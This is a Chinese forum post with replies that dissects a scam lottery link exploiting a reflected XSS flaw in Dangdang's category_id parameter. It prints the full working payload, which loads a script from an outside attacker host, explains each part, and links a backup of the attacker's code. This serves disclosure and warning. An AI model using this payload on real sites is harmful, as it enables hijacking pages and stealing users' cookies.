朋友在微信上问我当当网上小米产品抽奖是不是真实的。
他发了一张朋友圈其他人成功签收奖品的截图(很有真实性),以及抽奖链接:
没多想,我点进去,跳转到另一个地方,开始抽奖,尝试两次后成功,但需要分享才能领取,这使我感到疑惑,我还没登陆呢,这就要我分享了?明显骗局。
decode url ,得到:
http://product.m.dangdang.com/detail29297129-56-56.html?category_id=</script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>
很显然这是 xss 攻击:
注入恶意代码:
category_id
的值中包含了一个结束</script>
标签和一个SVG
元素:</script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>
结束现有的脚本标签:
</script>
用于结束当前可能在解析的任何脚本标签。这是为了确保接下来的内容不会被当作普通文本处理,而是作为新的 HTML 和 JavaScript 代码执行。SVG 元素和 onload 事件:
<svg onload=...>
使用 SVG 标签,因为 SVG 标签的 onload 事件可以执行 JavaScript 代码。这使得攻击者可以在页面加载时执行任意 JavaScript 代码。延迟执行恶意代码:
setTimeout(function(){...},0)
用于确保代码在浏览器完成当前任务后立即执行。
with(document)
允许在代码块内直接使用 document 对象的方法和属性。
body.appendChild(createElement(
script))
创建一个新的 script 元素并将其附加到页面的 body 中。
.src='//njkloop.oss-accelerate.aliyuncs.com/dangdang'
将新创建的 script 元素的 src 属性设置为一个外部脚本 URL 。这会导致浏览器从指定的 URL 加载并执行该脚本。
攻击者使用了:
document.open();
document.write(result);
document.close();
直接可以篡改文档,而不会改变 url ,因此分享给其他人后,还是以 dangdang.com 开头,并携带攻击参数 category_id 。
攻击之所以会成功,主要是因为,当当网将 category_id 的值直接插入到 HTML 页面中,而没有进行适当的转义或过滤。导致这些参数成为 HTML 的一部分,并且在浏览器中被解析和执行。
被加载的攻击代码:
为了防止攻击者销毁代码,我做了备份:
https://github.com/WantenMN/DangDang-XSS-Exploit-Example
我不太想了解攻击者的实际意图,有兴趣的的小伙伴可以接着分析。
1
codeName 124 天前
学习了
|
2
qq316107934 124 天前
攻击者现在跳转到百度了
|
3
HuberyPang 124 天前
涨姿势了
|
4
Wanten OP @qq316107934 需要在微信打开才能正确跳转,其他地方会跳转百度。请不要登陆当当网,避免 cookie 泄露
|
5
lzy250 124 天前
当当网有 src 吗?
|
6
lupus721 124 天前
点个赞
|
7
ysc3839 124 天前 via Android
内容是 AI 生成的?哪有用到 document.write ?
|
8
Wanten OP @ysc3839 1~4 的解释部分确实是 AI 生成的,但发表有关代码评论时请先看一遍代码:
https://github.com/WantenMN/DangDang-XSS-Exploit-Example/blob/f54d2f59c12ce7afe9a4a22925d09bd1221579d8/src/dangdang.js#L99 |
9
aoizz 124 天前
|
10
iOCZS 124 天前
这种攻击需要传播分享链接才有效
|
11
treblex 124 天前
|
12
wanwusangzhi 124 天前 via iPhone
赶紧冲
|